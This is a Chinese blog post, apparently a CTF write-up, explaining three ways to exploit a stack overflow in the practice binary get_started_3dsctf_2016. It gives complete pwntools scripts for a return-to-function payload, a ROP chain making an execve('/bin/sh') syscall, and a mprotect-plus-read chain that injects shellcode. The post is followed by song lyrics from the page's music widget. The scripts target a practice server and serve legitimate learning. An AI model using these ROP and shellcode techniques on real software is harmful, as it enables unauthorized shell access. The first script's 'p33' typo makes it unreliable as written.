求知若渴,虚心若愚.|

lmarch2

园龄:1年8个月粉丝:5关注:7

get_started_3dsctf_2016

0x00

最近持续学习栈溢出,努力熟悉各种利用方法,争取这周和下周把栈溢出这块结束

0x01

IDA分析

``

方法一:传统栈溢出

可以看到main函数并没有ebp,寻址方式是esp寻址

get_flag函数中,在读取flag之前先经过if判断a1 == 814536271 && a2 == 425138641

构造pay时不可以试图跳过这个判断,无法打通

返回地址一定要覆盖为get_flag函数的开始处

在栈上构造get_flag参数

payload = b'a' * 0x38+p32(get_flag_addr)+p32(exit_addr)+p32(a1)+p32(a2)

注意这里的返回地址为exit的地址,打远程时,如果程序是异常退出了,最后是不给你回显的。所以我们得想办法让程序正常退出

EXP1

from pwn import *
context(os = 'linux', arch = 'i386', log_level = 'debug')
#p = process('./get_started_3dsctf_2016')
p = remote('node4.buuoj.cn',25669)

get_flag_addr = 0x080489A0
exit_addr = 0x804E6A0
a1 = 0x308CD64F
a2 = 0x195719D1
payload = b'a' * 0x38+p32(get_flag_addr)+p33(exit_addr)+p32(a1)+p32(a2)
p.sendline(payload)
p.interactive()

0x02

方法二:系统调用

利用ROPgadget找到需要的gadget

pop_eax_ret = 0x080b91e6

pop_edx_ecx_ebx_ret = 0x0806fc30

int80 = 0x0806d7e5

但是没有找到"/bin/sh"字符串,考虑在其他寄存器写入/bin/sh,再赋值给edx

看看有没有类似的mov指令

mov_edx_eax_ret = 0x080557ab

你猜猜我mov_edx_eax_ret怎么找的(裂开)

可以看到,该处指令mov [edx], eax 是将eax寄存器里的值写到eedx所存的地址处[edx],攻击的思路就是讲[edx]地址覆盖为/bin/sh写入地址,并利用eax寄存器将字符串/bin/sh存入。

需要注意的是,该程序没有给出可用的bss段变量,栈空间一般情况下开启ASLR地址随机,所以我们用vmmap查找可读的内存空间作为入/bin/sh的地址

这篇参考的链接,使用0x080eb020 作为存放/bin/sh的地址,但是使用vmmap可以看到没有以这个地址开头或结束的段,而且也不存在可写可执行的段,只有0x80ea000到0x80ec000是可写的文件段(实际上0x080eb020 也在该段中)

补充一下,同时其实我们可以看出来vmmap出来的地址段是没有libc中的内容的,实际上get_started_3dsctf_2016是静态链接

整体的rop流程为,分两次每次四字节将"/bin" "/sh\x00"先存入eax,再利用Pop将edx置为0x80ea000,再利用mov指令将字符串放入该地址指向空间,最后返回系统调用

from pwn import *

local = 0
if local == 1:
    io = process('./get_started_3dsctf_2016')
else:
    io = remote('node4.buuoj.cn',25878)

pop_eax_ret = 0x080b91e6
pop_edx_ecx_ebx_ret = 0x0806fc30
int80 = 0x0806d7e5
mov_edx_eax_ret = 0x080557ab
w_addr = 0x80ea000#0x080eb020
payload = b'a'*56+p32(pop_eax_ret)+b'/bin'+p32(pop_edx_ecx_ebx_ret)+p32(w_addr)+p32(0)+p32(0)+p32(mov_edx_eax_ret)
payload += p32(pop_eax_ret)+b'/sh\x00'+p32(pop_edx_ecx_ebx_ret)+p32(w_addr+4)+p32(0)+p32(0)+p32(mov_edx_eax_ret)
payload += p32(pop_eax_ret)+p32(0xb)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(w_addr)+p32(int80)
io.sendline(payload)

io.interactive()
~                              

0x03

方法三:mprotect函数修改地址权限

利用mprotect()函数来修改内存权限,一般是将.bss端修改为可读可写可执行,然后通过read()函数向目标内存写入shellcode,然后getshell (因为是静态链接的,所有的函数都会链接到程序,肯定会存在一个mprotect()函数 )

include <sys/mman.h>

int mprotect(void *addr, size_t len, int prot);addr:修改保护属性区域的起始地址,addr必须是一个内存页的起始地址,简而言之为页大小(一般是 4KB == 4096字节)整数倍。

len:被修改保护属性区域的长度,最好为页大小整数倍。修改区域范围[addr, addr+len-1]。
prot:可以取以下几个值,并可以用“|”将几个属性结合起来使用:
1)PROT_READ:内存段可读;
2)PROT_WRITE:内存段可写;
3)PROT_EXEC:内存段可执行;
4)PROT_NONE:内存段不可访问。
返回值:0;成功,-1;失败(并且errno被设置)
1)EACCES:无法设置内存段的保护属性。当通过 mmap(2) 映射一个文件为只读权限时,接着使用 mprotect() 标志为 PROT_WRITE这种情况就会发生。
2)EINVAL:addr不是有效指针,或者不是系统页大小的倍数。
3)ENOMEM:内核内部的结构体无法分配。
这里的参数prot:
r:4
w:2
x:1

我们通过vmmap可以看到0x080ea000到0x080ec000是可读可写但是不可执行的(开了NX保护),所以用mprotect()将这一段修改成可读可写可执行,然后通过read()传shellcode到此处

需要注意的是mprotect指定的内存区间必须包含整个内存页(4K),并且区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍(0x1000=4096)

我们知道32位调用函数不需要寄存器传参,但是我们需要用pop,ret来控制程序运行流程, 用 ROPgadget 随便选一个有三个寄存器加一个ret的gadget

from pwn import *
elf = ELF('./get_started_3dsctf_2016')
sh = remote('node4.buuoj.cn',27364)
#sh = process('./get_started_3dsctf_2016')
context(os = 'linux', arch = 'i386', log_level = 'debug' , endian = 'little') #小端序,linux系统,32位架构,debug

mprotect = 0x0806EC80
buf_addr = 0x80eb000   #要修改的内存页首地址
buf_size = 0x1000      #要修改的内存页大小
buf_prot = 0x7         #要修改的权限

pop_3_ret = 0x08063adb  #寄存器传参外加ret返回read函数地址 
#0x08063adb : pop edi ; pop esi ; pop ebx ; ret

mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
read_addr = 0x0806E140

payload = b'a'*0x38
payload += p32(mprotect)  #先将返回地址覆盖为mprotect函数地址

payload += p32(pop_3_ret)  #通过三个寄存器传参再加上ret返回栈上下一个函数地址
payload += p32(buf_addr)    #要修改的内存页首地址
payload += p32(buf_size)    #要修改的内存页大小
payload += p32(buf_prot)    #要修改的权限

payload += p32(read_addr)  #ret返回栈上下一个函数地址为read函数地址
payload += p32(buf_addr)    #read函数的返回地址
payload += p32(0)           #read函数的第一个参数
payload += p32(buf_addr)    #read函数的第二个参数
payload += p32(0x100)    #read函数的第三个参数
sh.sendline(payload)    

shellcode = asm(shellcraft.sh(),arch='i386',os='linux')   
sh.sendline(shellcode)      #read函数输入buf_addr的字符串

sh.interactive()

0x04

参考文章

1 2 3 4 5 6

本文作者:lmarch2

本文链接:https://www.cnblogs.com/imarch22/p/17589035.html

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   lmarch2  阅读(65)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起
  1. 1 404 not found REOL
404 not found - REOL
00:00 / 00:00
An audio error has occurred.

作曲 : Reol

作词 : Reol

fade away...do over again...

fade away...do over again...

歌い始めの一文字目 いつも迷ってる

歌い始めの一文字目 いつも迷ってる

どうせとりとめのないことだけど

伝わらなきゃもっと意味がない

どうしたってこんなに複雑なのに

どうしたってこんなに複雑なのに

噛み砕いてやらなきゃ伝わらない

ほら結局歌詞なんかどうだっていい

僕の音楽なんかこの世になくたっていいんだよ

Everybody don't know why.

Everybody don't know why.

Everybody don't know much.

僕は気にしない 君は気付かない

何処にももういないいない

Everybody don't know why.

Everybody don't know why.

Everybody don't know much.

忘れていく 忘れられていく

We don't know,We don't know.

目の前 広がる現実世界がまた歪んだ

目の前 広がる現実世界がまた歪んだ

何度リセットしても

僕は僕以外の誰かには生まれ変われない

「そんなの知ってるよ」

気になるあの子の噂話も

シニカル標的は次の速報

麻痺しちゃってるこっからエスケープ

麻痺しちゃってるこっからエスケープ

遠く遠くまで行けるよ

安定なんてない 不安定な世界

安定なんてない 不安定な世界

安定なんてない きっと明日には忘れるよ

fade away...do over again...

fade away...do over again...

そうだ世界はどこかがいつも嘘くさい

そうだ世界はどこかがいつも嘘くさい

綺麗事だけじゃ大事な人たちすら守れない

くだらない 僕らみんなどこか狂ってるみたい

本当のことなんか全部神様も知らない

Everybody don't know why.

Everybody don't know why.

Everybody don't know much.

僕は気にしない 君は気付かない

何処にももういないいない

Everybody don't know why.

Everybody don't know why.

Everybody don't know much.

忘れていく 忘れられていく

We don't know,We don't know.